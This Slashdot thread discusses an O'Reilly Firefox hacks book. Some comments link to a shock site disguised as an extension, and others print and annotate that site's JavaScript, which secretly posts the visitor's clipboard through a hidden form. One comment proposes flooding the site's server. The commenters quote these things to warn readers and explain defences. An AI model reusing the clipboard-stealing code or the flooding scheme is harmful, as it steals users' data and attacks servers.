      OK, you missed the joke - the poster's last name is "Moskalyuk", which is Russian (or Slavic in general, at any rate). Therefore, he's implying he can already think in Russian, so this wouldn't be a problem at all.

      And yes, it's turning the "Firefox" movie reference on it's head deliberately.

    10. Re:Firefox Prototype by Anonymous Coward · · Score: 0

      ISR browser thinks for you!

    11. Re:Firefox Prototype by CreatureComfort · · Score: 1


      I guess I would see almost no difference. Since I'm always thinking about pron, I'd be seeing the same websites all the time that I see now. And if it works off conscious thought, my reflex left-click on pron links is much faster than concious thought at this point, anyway.

      --
      "Unheard of means only it's undreamed of yet,
      Impossible means not yet done." ~~ Julia Ecklar
  14. Don't click on the blue E! by c0ldfusi0n · · Score: 5, Informative

    Sorry for the slightly offtopic comment, but i have to post this.
    O'reilly have a book called Don't click on the blue E! that's a kind of migration guide from IE to Firefox for disenchanted Internet Explorer users.

    I just love the title of it. Frankly, how many Firefox users trying to get thir sister/mother/grandma to use Firefox (mostly because they're sick of being called to remove spywares/viruses induced by IE) have actually use that phrase?

    --
    A computer makes it possible to do, in half an hour, tasks which were completely unnecessary to do before.
    1. Re:Don't click on the blue E! by creep · · Score: 5, Insightful

      I don't. Aside from putting a Firefox icon on the desktop of all my family and friends' computers that I service, I also use the IE icon and point it to Firefox just in case they happen to click on it out of habit.

    2. Re:Don't click on the blue E! by goofy183 · · Score: 1

      Thats what I ended up doing for both my grandmothers. It was easier to swap out the icon for the firefox shortcut than break the habit of running IE.

      For many people if you install FF, import their IE settings and swap the shortcut targets they will never notice the difference.

    3. Re:Don't click on the blue E! by Anonymous Coward · · Score: 0

      Well don't click the flaming fox either then!

      At least not without completely disabling JavaScript or your in for a world of hurt. Oh and of course uninstall FF and reinstall the latest version as it comes out every month so you don't leave it full of exploitable holes for the skiddies.

      Hmm, sounds just like IE. Better not use either!

    4. Re:Don't click on the blue E! by Anonymous Coward · · Score: 0

      My mom accepted firefox very easily but to get my dad to switch we had to use this trick.

  15. Re:THE BEST FIREFOX HACK by CarlinWithers · · Score: 1

    He is an asshole, but he may have pointed out something useful. This is something the Firefox team ought to fix, i.e. cannot open more than 16 or 32 tabs within a 5 second time period.

  16. Re:THE BEST FIREFOX HACK by Anonymous Coward · · Score: 0

    why, don't you like looking at a mans asshole?

  17. Nice review by echocharlie · · Score: 4, Informative

    Author did a nice job on this review. I will probably pick this book up. Here's a link to O'Reilly's official site for the book. NerdBooks.com has is carrying at 50% off.

  18. Re:is there a hack to remove the 'cannot connect m by NoGuffCheck · · Score: 1

    yeah, im on a wireless network and if my signal drops out, as it frequently does, i get the same message..

    --
    serenity now!
  19. XML and other quibbles by fm6 · · Score: 4, Interesting
    Why is XML not a "core topic"? Serving web pages as XML is the Next Big Thing, in my opinion. In any case, XML is a lot more relevent to most people's needs than hacking the browser as a game platform!

    Not that anything was really excluded. They seem to have had a little trouble coming up with 100 hacks. Some I see on the list are interesting, but not strictly about Firefox (CSS, Bugzilla). Some are pretty lame ("Identify and Use Toolbar Icons"). Some are not even hacks (a list of customized prebuilt versions).

    Some hacks do look interesting -- integrating Firefox with other apps, making chromes and extensions, and (as I said) XML support. Maybe these are good enough to justify the price of the book. Though a book about these specific topics might be money better spent.

  20. A GUI would be nice by Eyah....TIMMY · · Score: 1

    Why does hacking always have to be so difficult? I wonna be a fashionable hacker too.

    --

    It is not enough to have a good mind. The main thing is to use it well. - Rene Descartes (1637)
    1. Re:A GUI would be nice by Dogtanian · · Score: 1

      Why does hacking always have to be so difficult? I wonna be a fashionable hacker too.

      Heeyy... don't cry. Here, have the latest issue of "Wired" to wipe your nose on.

      --
      "Slashdot - News and Chat Sites Deviant". (Click "homepage" link above for details).
    2. Re:A GUI would be nice by Anonymous Coward · · Score: 0

      Does it have an exposé written by Kevin "I'm a hacker" Mitnick?

  21. Haven't read the book.. by NoMoreNicksLeft · · Score: 1

    But if they don't mention greasemonkey, then the only excuse I'll accept is that it's too new to appear in print. I'm using it at work to clobber that last webapp so that I no longer have to use IE...

    Also, check out Favicon picker, for those last few sites that don't work properly (shame on you, www.dilbert.com). Nice too, for those embedded devices you keep bookmarks too, (print servers, etc). Even if my WAP icon looks gay (I did pretty decent freehanding on the printer icon).

    PS Anyone have a decent 16x16 dilbert icon? Nothing available scales down that small...

    1. Re:Haven't read the book.. by fm6 · · Score: 1, Informative
      Greasemonkey is certainly a cool hack. But would it have killed you to provide a link?

      Installing a extension just so you can tweak a few bookmark icons is just a bit, you know...

    2. Re:Haven't read the book.. by Osty · · Score: 3, Informative

      But if they don't mention greasemonkey, then the only excuse I'll accept is that it's too new to appear in print. I'm using it at work to clobber that last webapp so that I no longer have to use IE...

      You really should give a link for Greasemonkey, and to the script repository.

      Also, shameless pimpage, but I've built a Greasemonkey implementation for IE, GreasemonkIE. It's still in development (missing a pretty major feature right now, which should be sorted out soon -- covered in the blog entry above), but it works quite well considering IE's limitations. GreasemonkIE tries to re-use existing Greasemonkey user scripts as much as possible, but other browsers have user script support too. The new Opera beta has an implementation of user scripts, and PithHelmet does the same for Safari (among many other features). Up until yesterday, IE was the only browser left out of the user script craze, but I'm trying to rectify that.

    3. Re:Haven't read the book.. by quiddity · · Score: 2, Informative

      if you have lots of bookmarks, then using favicons can severely bulk up your bookmarks.html file. 40mb bookmark files are NOT FUN.

      add these lines to your user.js to get rid of all site icons.

      // Disable Bookmark Icons
      user_pref("browser.chrome.site_icons", false);
      user_pref("browser.chrome.favicons", false);

      (though it wont clean the code for known icons out of bookmarks.html)

      --
      .
      . hmmm
  22. I can see it now... by slapout · · Score: 0

    Hack 1: Extension xzy
    Hack 2: Extension abc
    Hack 3: Extension 123
    etc...

    -----
    It's a joke. Laugh.

    --
    Coder's Stone: The programming language quick ref for iPad
    1. Re:I can see it now... by Anonymous Coward · · Score: 0

      Quick tip... make your jokes funny.

  23. Evolution of the word "Hack" by standon · · Score: 5, Interesting

    I own several O'Reilly books, many of them relating to Hacks - whether it be for Postfix, OS X, et cetera. It's funny (or perhaps just interesting, depending on your sense of humor) how the term "hack" has evolved over time. Am I a hacker if I utilize a book to balance a shaky table? Of course I'm being a bit facetious with that example!

    I understand this might be (mistakenly) modded offtopic, but hopefully the powers that be acknowledge the relevance.

    --
    Sahil
    1. Re:Evolution of the word "Hack" by rescendent · · Score: 1

      No, but I think you're a hacker if you use a saw to balance the table.

      And a hack if you write about it...

    2. Re:Evolution of the word "Hack" by MikeBabcock · · Score: 1

      Duct tape and coathangers make for good hacks as well. Yes, 'hack' means what this book pertends -- a clever hack is a way to accomplish something in a non-obvious way and/or an interesting mis-use of an object or idea.

      It does not mean to break into webservers, although (malicious) hacking is often involved there too.

      --
      - Michael T. Babcock (Yes, I blog)
    3. Re:Evolution of the word "Hack" by Anonymous Coward · · Score: 0

      for those of you who took the bait (like me)--there is no Postfix Hacks title from O'Reilly yet. Damn!

    4. Re:Evolution of the word "Hack" by standon · · Score: 1

      Woops, sorry for the conufsion. I was just looking over at my O'Reilly pile and saw Postfix in the title - indeed there is no Postfix Hacks book, just a regular one which, incidentally, is quite good, and, for the record, does include some hacks! :)

      --
      Sahil
  24. Re:THE BEST FIREFOX HACK by Anonymous Coward · · Score: 0

    Then I couldn't click on the bookmark folder I have labelled "comics" and select "Open in Tabs" like I do every morning.

  25. Re:is there a hack to remove the 'cannot connect m by seizer · · Score: 4, Informative

    Certainly:

    browser.xul.error_pages.enabled

    Enjoy.

  26. Re:THE BEST FIREFOX HACK by Anonymous Coward · · Score: 0

    as some of the other people , unlike us and the GNAA are not gay( and pereverted aswell)

  27. Re:extension link by Anonymous Coward · · Score: 0

    sorry, wrong link. the correct one is http://nimp.firefox.org/

  28. What it really does. by spagetti_code · · Score: 5, Informative
    Be warned - in case you are tempted...

    This is a pretty ingenious script that

    • Opens up windows (or tabs, depending on how you open the link) as fast as your computer can - 100% CPU
    • Each window displays gay porn
    • Plays a loud sound "Hey everybody I'm looking at gay porno"
    • Behind the scenes it also copies the contents of your clipboard to this guy.
    It works in IE and firefox. It is simply a page with an image, a flash movie, and a javascript that copies your clipboard to a field then 'submit()'s' the form, reloading the page.

    Very simple and bypasses popup blockers (at least the ones I have on).

    This has got to be a security hole in firefox, both on the ability to open windows/tabs, and copying the clipboard.

    If you want to have a look, use:

    wget http://firefox.on.nimp.org/index.php
    WARNING: dont click on this link, just copy the wget command to a shell. Dont say I didn't warn you...
    1. Re:What it really does. by Anonymous Coward · · Score: 1, Informative

      <html>
      <head>
      <title>GNAA Last Measure v4.1 by Rucas with Armorfist's PopupByPasser Mod.</title>
      </head>

      <body>

      <form name="clip" method="post" action="index.php" style="display:none">
      <input type="text" name="content">
      <input type="hidden" name="send" value="1">
      <input type="hidden" name="referer" value="">
      <input type="hidden" name="user" value="">
      <input type="submit">
      </form>

      <script language="javascript">
      //without this if statement check, it bombs out with an error
      if(typeof clipboardData != 'undefined') {
      var content = clipboardData.getData("Text");
      document.forms["clip"].elements["content"].value = content;
      }
      document.forms["clip"].submit();
      </s cript>
      </body>
      </html>
      </head>
      <body >

      <table width="100%" height="100%"><tr><td valign="middle"><div align="center"><a href="http://www.gnaa.us/"><img src="gnaa.png" border="0"></a><br><br>

      <object classid='clsid:D27CDB6E-AE6D-11cf-96B8-44455354000 0' codebase='http://download.macromedia.com/pub/shock wave/cabs/flash/swflash.cab#version=6,0,29,0' width='10' height='10'>
      <param name='movie' value='flash/first_opener.swf'>
      <param name='quality' value='high'>
      <embed src='flash/first_opener.swf' quality='high' pluginspage='http://www.macromedia.com/go/getflash player' type='application/x-shockwave-flash' width='10' height='10'></embed>

      </object>
      </div></td></tr></table></body></html>

    2. Re:What it really does. by Anonymous Coward · · Score: 0

      wont work on firefox versions that don't have flash plugin installed. next big think is to open source flash player

    3. Re:What it really does. by snowman11 · · Score: 1

      This is really stupid... Thanks for dragging us all down... Dumbass

    4. Re:What it really does. by Anonymous Coward · · Score: 0

      I just want to say.. I have http://flashblock.mozdev.org/Flashblock and nothing happened. It totally stopped that site. Its a great FF extension.

    5. Re:What it really does. by Anonymous Coward · · Score: 0

      It really sucks if you have the SessionSaver extension installed and have it set to save everything when you close Firefox. I had to block Firefox in ZoneAlarm and delete the Cache folder to regain control.

    6. Re:What it really does. by Anonymous Coward · · Score: 0

      This has got to be a security hole in firefox, both on the ability to open windows/tabs, and copying the clipboard.

      Actually it's been happening for a while now. It's pretty well known that you can still launch pop-ups in firefox through flash - and a lot more web sites are taking advantage of it.

      Actually this might be a good link to send to those email users who insist on opening every atachment....

    7. Re:What it really does. by moonbender · · Score: 2, Informative

      There should be a way to suppress resuming a session, like holding the shift key while starting FF. (Maybe there is a way - it seems like an obvious addition to me.) Or do it the Opera has been doing it since seemingly forever (well okay, version 5? 6?), display a dialogue after a crash prompting the user as to what to do.

      --
      Switch back to Slashdot's D1 system.
    8. Re:What it really does. by tetranitrate · · Score: 3, Informative

      I have the following config option set, and didn't get the popups. I read that firefox has had flash blocking functionality in for some time, but didn't enable it due to it possibly breaking things.

      privacy.popups.disable_from_plugins = 2

    9. Re:What it really does. by Radical250 · · Score: 1

      using Adblock? just add nimp.org to your filter, and everything there will be blocked.

    10. Re:What it really does. by k8to · · Score: 1

      Huh, I just get four imaged letters G N A A and then a little FLASH BLOCK click to play logo.

      If I click-to-play it opens up a bunch of windows, but I can close them faster than it can open them, and can close the tab. Annoying, but it can be dealt with. Some of the javascript behavior was also disabled by privoxy, which scrubs my html for javascript annoyances.

      No sound though.

      FlashBlock: http://flashblock.mozdev.org/
      Privoxy: http://www.privoxy.org/

      --
      -josh
    11. Re:What it really does. by Selanit · · Score: 4, Informative
      I just want to say.. I have http://flashblock.mozdev.org/ [mozdev.org]Flashblock and nothing happened. It totally stopped that site. Its a great FF extension.

      You didn't get the tabs, pop-ups and the gay porn -- but the contents of your clipboard were sent, unless you've got JavaScript turned off completely. Take a look at this (comments added):

      <!--
      Make a form, but use inline CSS to make it invisible (display:none).
      -->
      <form name="clip" method="post" action="index.php" style="display:none">
      <input type="text" name="content">
      <input type="hidden" name="send" value="1">
      <input type="hidden" name="referer" value="">
      <input type="hidden" name="user" value="">
      <input type="submit">
      </form>

      <script language="javascript">
      if(typeof clipboardData != 'undefined') {
      // If we can get the clipboard, get it.
      var content = clipboardData.getData("Text");
      // Put it into the invisible form.
      document.forms["clip"].elements["content"].value = content;
      }
      // Submit the invisible form.
      document.forms["clip"].submit();
      </script>

      Then it has a second body tag containing the flash object that's responsible for the visible annoying stuff. I have to wonder what random stuff they're getting out of people's clipboards . . .

    12. Re:What it really does. by Anonymous Coward · · Score: 0

      Hey!
      Thats not W3C standards!

    13. Re:What it really does. by moonbender · · Score: 1

      Eh? I don't really care about this specific instance. I just think that the session saver extension the original poster referred to should include a way to suppress resuming a session.

      --
      Switch back to Slashdot's D1 system.
    14. Re:What it really does. by Derek+Pomery · · Score: 1

      Just as an experiment, I launched it in epiphany.
      None of the (available) javascript restrictions are enabled by default. And I do think, Gecko has had restrictions that block this sort of window respawning trick for a long time.
      On the plus side, after an xkill (force quit in gnome probably would have worked too) I went to .gnome2/epiphany and edited session_crashed.xml, removed all the entries for the site, then fired up Epiphany, which recovered the rest of my session fine.

      --
      -- perl -e'print pack"H*","6e656d6f406d38792e6f7267"' /. ate my old sig. Bastards.
    15. Re:What it really does. by The+Wicked+Priest · · Score: 1

      It doesn't do shit here, because I use the FlashBlock extension. Highly recommended. It replaces each Flash object on a page with a logo, which you can then click to play it (or not). And you can whitelist certain sites (e.g., homestarrunner.com) so you don't have to click there.

      In this case I saw the GNAA logo, so I knew not to click. :)

      There's also an option in Firefox that's supposed to prevent pop-ups from plugins (like this), but I don't have that handy. You can search for it on the MozillaZine forums.

      --
      Share and Enjoy: 09 F9 11 02 9D 74 E3 5B D8 41 56 C5 63 56 88 C0
    16. Re:What it really does. by Travy.b · · Score: 0



      Hmmm... using Mozilla browser on Deb unstable:

      I get the letters on the screen, then the browser opens new windows (6 of them and then stops) but no images are displayed and no sound is played.

    17. Re:What it really does. by The+Wicked+Priest · · Score: 1

      Are you sure that works on Firefox? I guess I'd need to use my own web server to check, but: There was this moron webmaster on the MozillaZine forums the other day complaining that he couldn't clear his visitors' clipboards like he wanted to (a "protection" measure). Among the somewhat confused responses, one person claimed that FF didn't allow this, by default, because it would be a security violation (but FF could be set to allow it). And I'm thinking that if clearing the clipboard is barred, then copying it probably is too. No? Or was that poster wrong?

      --
      Share and Enjoy: 09 F9 11 02 9D 74 E3 5B D8 41 56 C5 63 56 88 C0
    18. Re:What it really does. by brsmith4 · · Score: 1

      Easy DoS for his server... If you're on a fat pipe (Gigabit or some OC*_hello university students looking to get expelled_), you can probably use the java script libraries with mozilla (for parsing purposes) to whip up an app that floods his clipboard requests with an unlimited stream of data from /dev/urandom. Of course, you could do this on a smaller scale and just run up his bandwidth bill, say sending over a file to his server every minite or so. It's doable, right?

      Yet I'm still compelled by the fact that two wrongs don't make a right. Or was it that two lefts don't make a right, but three do? Drinking is cool.

    19. Re:What it really does. by Redshift · · Score: 2, Funny

      Ingenious. You are fighting back by trying to /. the site.

    20. Re:What it really does. by Avishalom · · Score: 2, Interesting

      I have to wonder what random stuff they're getting out of people's clipboards .
      every once in a while you'll get a password that looks like
      R5tR3e7Ptr
      many sites, will send you the password in case you forgot it.
      now do you transcribe it? , or Cut & paste ?

    21. Re:What it really does. by neonfrog · · Score: 1

      Reminds me of a Dilbert (can't find a link with the actual comic, so here's the text, probably copyright 2004 Scott Adams)

      Frame 1

      Tina: Wally, do you have the approved vendor list?

      Wally: It's on the net. The password is "Wally."

      Frame 2

      Tina: Hmm... You always say information is on the net when I know it's not. Yet, by mentioning a password, it sounds plausible.

      Frame 3

      Tina: So... First I'll find out that the password has changed. Then I'll find that the list is out f date. What am I forgetting?

      Wally: (evil grin + thought bubble) 'Username.'

      --

      I'm thinking about it, therefore I might be.

    22. Re:What it really does. by Selanit · · Score: 1

      Hmm. It didn't occur to me to check this before I posted. D'oh! When will I learn?? But you're right, Firefox disables this by default. I stand corrected.

      And you don't need a web server to check the JavaScript. Just copy the following URL into your location bar and press enter to check:

      javascript:(typeof clipboardData=='undefined')?alert('Safe.'):alert(' Leaky.');

      If your browser says "Leaky" in response to this code, then it means that your clipboard is vulnerable to this attack. If you get a JS error, check to see if the string above has an unexpected space in it -- Slashdot seems to be introducing random spaces into the code. o.O

    23. Re:What it really does. by DavidHopwood · · Score: 1

      Huh? Javascript is only supposed to be able to access clipboardData if it has a ClipboardRead or UniversalClipboardAccess, which a random script won't have. Maybe this is trying to exploit some really old, long-fixed Netscape bug.

  29. Re:THE BEST FIREFOX HACK by Anonymous Coward · · Score: 0

    What fucking moron moderator moded the parent as a troll , im sorry but seriously .
    This guy is poiting out that the grandparent is linking to a GNAA exploit site that uses the Goat.CX.-Esk method of shock

  30. Here is a nice firefox speedup hack by kkith · · Score: 0

    Instantiates multiple http "GET" requests so that the browser establishes multiple TCP connections to the webserver to pull pages down faster. I believe the proprietary browser "Opera" does this as well.

    http://forevergeek.com/open_source/make_firefox_fa ster.php

    1. Re:Here is a nice firefox speedup hack by Anonymous Coward · · Score: 0

      Yeah, if you want to be an evil fuckwit, go right ahead!

    2. Re:Here is a nice firefox speedup hack by kkith · · Score: 0

      ya i guess you could consider this evil...i am assuming you mean it's evil putting extra load on a web server.

  31. MAF by real_smiff · · Score: 4, Informative

    this "comes free" with the Mozilla Archive Format extension (adds an option to the page Save As type menu). I just tested it, page opened in IE, seems to work, a little slow maybe. as for your 2nd request, maybe someone else can help, i don't know sorry. btw if you didn't post anonymous you could see this reply easier..

    --

    This is my Sig, this is my Gun. One is for Slashdot and one is for Fun.

  32. go back to windoze luser lol p2ned by hildi · · Score: 1, Funny

    you are not a real linux revolutionary until you understand how secure it is to type your username/password 50 times a day rather than having them stored locally!

    1. Re:go back to windoze luser lol p2ned by Dogtanian · · Score: 0, Troll

      you are not a real linux revolutionary until you understand how secure it is to type your username/password 50 times a day rather than having them stored locally!

      "Locally" means in your head and nowhere else; when you store your password on your PC, you're storing it on The Man's computer.

      You'll be the first against the wall when the revolution comes, crypto-fascist.

      --
      "Slashdot - News and Chat Sites Deviant". (Click "homepage" link above for details).
    2. Re:go back to windoze luser lol p2ned by Dogtanian · · Score: 1

      "Troll" indeed. Some people have no sense of humour.

      I'm still trying to figure out if the clueless moderator thought it was a pro- or anti-Linux troll.

      Actually, I use Linux (as we speak); if it was a piss-take of anything, it was silly "revolutionary" types. Sheesh.

      --
      "Slashdot - News and Chat Sites Deviant". (Click "homepage" link above for details).
  33. how do you hack Firefox to give your sweety a kiss by planckscale · · Score: 3, Funny
    I'd like to share my browsing experience with my sweetie. Kind of like a status bar or something we can see real-time what websites we are visiting. It would be our choice if we want to share this info. I guess it would be similar to an IM but it wouldn't have to include chat. Of course, password protected sites would be unavailable. Basically I would like to see a click-able hyperlink in the statusbar showing me what website she currently has active. It could have a drop-down/up menu for multiple users as well.

    --
    Namaste
  34. Do you feel lucky, punk? by werewolf1031 · · Score: 5, Funny
    Hey now, don't dis Firefox. That was one of the best Cold War-era Clint Eastwood movies I've seen! Hell, I remember watching it on the theater on that big screen when I was a kid and...

    ...oh, wait...

  35. oppresive by real_smiff · · Score: 1
    it's great that you have a GF but have you thought this through? she'll see all e.g. the porn you visit.. seriously i can't imagine many people would want that, no matter how close.

    eh, you just weirded me out a bit with that request, but that's probably because of my own problems..

    --

    This is my Sig, this is my Gun. One is for Slashdot and one is for Fun.

    1. Re:oppresive by Evan+Meakyl · · Score: 1

      Just remember that, very often, a geek with a girlfriend has a lot of weird ideas ;)

  36. Grape Nuts? by werewolf1031 · · Score: 0, Flamebait
    He has also enlisted the help of a number of other cognoscenti...

    Definition of cognoscenti(n): "a grape nut"

    Oh yeah, he sounds like an expert.

  37. Re:extension link by Jononon · · Score: 2, Funny

    I'm confused, I only opened Firefox to look at gay porno, and now you're saying that's a bad thing ?

  38. Re:more than firefox by qyiet · · Score: 1

    I know, AND the can if you run WoW in windowed mode, you can use it to look at thottbot while playing.

  39. without reading the article/review... by 3seas · · Score: 0, Troll

    IS this why I'm now getting popups in firefox when I have the popup filter on?

    1. Re:without reading the article/review... by slackmaster2000 · · Score: 1
    2. Re:without reading the article/review... by Anonymous Coward · · Score: 0

      Yet again, somebody gets modded troll for pointing out that Firefox has popup issues. The reply to this points out one way of fixing a particular kind of popup (the ones that come from Flash, basically) but there's also an issue with people injecting javascript onclick event handlers into documents via iframe adverts. It's happening with increasing regularity, and is getting quite annoying. As far as I can tell the plugins fix isn't going to fix that.

      But yes, you're a troll it seems. Not pointing out a genuine issue at all.

      This place could get very depressing very fast.

    3. Re:without reading the article/review... by The+Wicked+Priest · · Score: 1

      Yes, there are new pop-up techniques, but they can be dealt with (particularly via Adblock). To say, because of this, that Firefox has "popup issues" seems very misleading to me, especially if the implication is somehow meant to be that IE has fewer such issues. On all the pop-up tests I've seen, IE still lets more of them through.

      --
      Share and Enjoy: 09 F9 11 02 9D 74 E3 5B D8 41 56 C5 63 56 88 C0
    4. Re:without reading the article/review... by lachlan76 · · Score: 1

      IIRC, that's a problem with flash.

      I installed the Flashblock extension, and haven't seen one since.

  40. Re:THE BEST FIREFOX HACK by Anonymous Coward · · Score: 0

    So what you are saying is, in order to have maximum functionality, it's ok by you to have exploitable conditions in your browser?

    You mean just like IE?

    Fuck me...

  41. Hack to fix email search result sort-by-date? by xxxJonBoyxxx · · Score: 1

    Is there a "hack" to fix the email search result sort-by-date problem? This is one of the biggest issues keeping me from migrating...I search through my email a lot.

    1. Re:Hack to fix email search result sort-by-date? by The+Wicked+Priest · · Score: 1

      Firefox is not an email client. Perhaps you're thinking of Thunderbird?

      --
      Share and Enjoy: 09 F9 11 02 9D 74 E3 5B D8 41 56 C5 63 56 88 C0
  42. lots of words == great book? by viva_fourier · · Score: 0, Flamebait

    "If there is an application I run more often than my Web browser, particularly since I also use it as my email client, then I don't know what it might be. "

    And if there could ever in a million years possibly be a more prolonged, yet utterly useless way of saying "I use it for everything", particularly since I can't think of anything right now, then I don't know what it might be. At all. Or something.

    Sounds like Tony is just trying to fluff his word count.

    --
    and now back to the fallout shelter...
  43. Re:extension link by Anonymous Coward · · Score: 0

    That's right, mod the parent as "troll" for warning people - but mod the smart-ass original spam poster as "informative"

  44. Re: Greasemonkey by binarysearch · · Score: 4, Informative

    Speaking as one of the "cognoscenti" who contributed to the book, I'd say that yes, Greasemonkey is a bit too new to have made it into the book. When I came onboard in late October 2004, most of the hacks had already been thought up and allocated. The deadline for the first draft of the hacks was November 22, and contributor's reviews were due by December 11.

    Looking at the CVS repository for Greasemonkey ( http://www.mozdev.org/source/browse/greasemonkey/ ), it looks like the oldest files are four months old, which means that yes, Greasemonkey is too new to have had a chance to get in to the book. I imagine that it'll *probably* be featured in any subsequent editions. The problem is that Greasemonkey is really quite code-centric, far more so than most of the stuff in the last few chapters, and those chapters are already striking some as "too technical." Writing a hack would be tricky, as you'd have two main options, neither of which are particularly appealing:

    * Delve into the nuts-and-bolts of programming to show users how to Get Stuff Done with Greasemonkey, which is outside the scope of the book, or
    * treat The Code That Does Stuff as magic, and use e.g. Butler as an example of what can be done.

    Of course, hacks.oreilly.com does allow you to submit your own hacks. If you want a job done right...

  45. Re:is there a hack to remove the 'cannot connect m by Anonymous Coward · · Score: 4, Informative

    If you do that, you're going to get lots of bugs, like the back button losing it's history. That's why the error pages are disabled. In 1.1, this should work right (in fact, it works properly in trunk nightlies right now).

  46. refrence to "firefox" the movie for you clueless by Anonymous Coward · · Score: 0

    folk out there

  47. Yeah but by realitybath1 · · Score: 0

    sometimes they 'need' to use IE.

    So you just need to remind them to only use it in rare specific circumstance.

    Do a Google Image search for 'noIE.png'
    Then convert to an icon file.

  48. Mod Down, -1 Evil by Anonymous Coward · · Score: 0

    Yeah, that'll rape web servers. Not a nice thing to do.

  49. Re:If you think the book requires too much coding by computational+super · · Score: 2, Insightful

    Honestly - I was looking through the sample pages, and I didn't think any of it looked hacker-friendly enough. I'd like to read more about Firefox's internals (sort of like the book "How Tomcat Works", but written by somebody who can write) and extrapolate my own hacks from there. I'm sure this book has a target audience, but it's not hackers - a hacker would want some kind of a rough outline for fixing bugs and adding features to Firefox, but based on the pages on the O'Reilly site, this book is geared toward power users. Still a useful book, I'm sure, but has nothing to do with hacking or hackers.

    --
    Proud neuron in the Slashdot hivemind since 2002.
  50. Yeah, right... by ashitaka · · Score: 1

    Until they try to view today's news video on msnbc.com and are told they don't have the right software installed.

    Far too many recreational user sites are this way as well.

    --
    If you don't want to repeat the past, stop living in it.
    1. Re:Yeah, right... by Threni · · Score: 1

      Would it hurt to have Firefox come, as standard, with a `report this page` link, which either contacts some Mozilla forum or other, or better yet, the owners of the site concerned, and informs them that their page doesn't work with their version of Firefox. It would be a painless (for the user) way to inform webmasters that their site is not complying with standards.

    2. Re:Yeah, right... by Donald+Ferrone · · Score: 0

      In the bizarro universe where Mozilla/Firefox is anywhere near being "the standard", this would be a great idea! It'd be suffice to say though, that here, it fucking blows. Try again in a decade or two.

      --
      Donald Ferrone, Ph.D
      Professor of computer science
      http://www.geocities.com/donald_ferrone/
    3. Re:Yeah, right... by Threni · · Score: 1

      I'm not suggesting the link report that the browser used is the standard browser as used by most surfers, but rather that the site itself isn't sticking to the standards.

    4. Re:Yeah, right... by Donald+Ferrone · · Score: 0

      How can you imagine that there would ever be a standardized mechanism for contacting a website's owner though? Do you really think there will ever be a reliable method of contacting the owner of http://real-ebay-validate-your-credit-card-31337.t ripod.com/ to notify them that golly-gosh, they aren't complying with strict XHTML?

      --
      Donald Ferrone, Ph.D
      Professor of computer science
      http://www.geocities.com/donald_ferrone/
  51. Session Saver by roman_mir · · Score: 3, Interesting

    By the way if you open a link like that and you have Session Saver extension you are out of luck :)

    What you have to do then is kill FF, then go into the directory where /chrome/sessionsaver.jar file is located, open the jar file, extract sessionsaver.js, modify the onLoad function in the Session Saver by commenting out the piece of code that runs loops for openning new tabs/windows. Then substitute the new sessionsaver.js into the jar file and restart FF. Now the loading portion of SS is disabled. You can uninstall session saver, or you can go into about:config and modify sessionsaver.windows.session1 value by replacing all bad links with whatever other sites (even invalid ones).

    1. Re:Session Saver by jmshep · · Score: 1

      Alternately, if you are running a firewall with a program blocking feature (like zonealarm pro,) you can block all internet access for firefox, relaunch the program, then delete all of the open windows/tabs. This is easier for the non-techies out there... assuming they have a program blocker in the firewall. You can also save a new session saver profile and just have it open your home site. Then close Firefox, reopen internet access in your firewall and then relaunch. Obnoxious asshole problem gone.

      --
      That which is well done, no matter how humble, is nobel -- Roman Proverb
    2. Re:Session Saver by The+Wicked+Priest · · Score: 2, Informative

      Can you not bypass Session Saver by starting in safe mode?

      --
      Share and Enjoy: 09 F9 11 02 9D 74 E3 5B D8 41 56 C5 63 56 88 C0
    3. Re:Session Saver by roman_mir · · Score: 1

      actually you are right, I just didn't know about this flag :)

  52. Ultimate hack. by Anonymous Coward · · Score: 0

    Somebody tell me how to force-reload java applets in firefox when the java console is not installed (e.g. on a mac), and I will worhsip them as a god.

  53. oh, forgot by roman_mir · · Score: 1

    and then you can put the original sessionsaver.js file back into the jar file.

  54. Two thoughts only... by suitepotato · · Score: 1

    Fist, that I don't know why but I seem to be one of those people with no Firefox/Acrobat issues whatsoever.

    Second, if this is as good and instructive as their Knoppix hacks offering, then I must go out and get it.

    --
    If my grammar and spelling are off, I am [distracted/tired/careless] (take your pick)
  55. Alibi by Anonymous Coward · · Score: 0

    she'll see all e.g. the porn you visit

    Or, you could use it to make her think you're not looking at porn. Just open up your second favorite browser (or even another profile without the extension installed) while you have Firefox open, and you have the perfect alibi!

  56. Re:If you think the book requires too much coding by The+Good+Reverend · · Score: 3, Insightful

    That's nonsense. There have been hackers longer than there have been computers. Even the Jargon File gives multiple definitions, most not specific to programming. It's much more of an inclusive term than an exclusive one.

  57. Where is the hack to buy his book as a LIT via FF? by scotty1024 · · Score: 1

    So far I haven't been able to "convert" to FireFox because I can't buy .lit files using FireFox. I even ponied up my $$$ to get the support folks to help me out and they gave up.

    As sad as Microsoft Reader is, it truly re-flows text when I pick a large font unlike Adobe's piece of crap.

  58. Re:If you think the book requires too much coding by WillAffleckUW · · Score: 1

    I'm sure this book has a target audience, but it's not hackers - a hacker would want some kind of a rough outline for fixing bugs and adding features to Firefox, but based on the pages on the O'Reilly site, this book is geared toward power users. Still a useful book, I'm sure, but has nothing to do with hacking or hackers.

    Good points. Reading the examples, I'm sure it would be a useful resource for a hacker, but it looks like maybe it might be more of a power user or beginning Firefox hacker book. Which might not be a bad book, if it helped get some power users more comfortable with coding.

    --
    -- Tigger warning: This post may contain tiggers! --
  59. o'reilly the trend whores by Sebastopol · · Score: 0, Troll

    Is it me, or does O'Reilly poop out a mediocre book anytime something registers on the "coolness" scale?

    Maybe its me.

    --
    https://www.accountkiller.com/removal-requested
    1. Re:o'reilly the trend whores by Beardo+the+Bearded · · Score: 1

      That's called a business model. It's what you use if you're a business and you want to make money.

      I don't know if you've noticed, but they picked a flashlight as their clipart. I wonder if that will become the new official Firefox logo.

      --

      ---
      ECHELON is a government program to find words like bomb, jihad, plutonium, assassinate, and anarchy.
  60. Re: if you want to be a fashionable by michaelbuddy · · Score: 1

    If you want to be a fashionable hacker, get a mac and brag to friends about how you can slow down expose' animations by holding down the shift key.

    --

    ...::----::...

    I am in no way affiliated with this sig.

  61. Re:THE BEST FIREFOX HACK by Clover_Kicker · · Score: 2, Insightful

    So make the max # of tabs a configurable setting, with a low default. Everyone happy.

  62. Re:how do you hack Firefox to give your sweety a k by Anonymous Coward · · Score: 2, Informative

    Check out http://www.stumbleupon.com/

    It's not spyware like what you described but rather will allow you to queue pages to your GF. When she hits her stumble button it will show your comment to her then load the page.

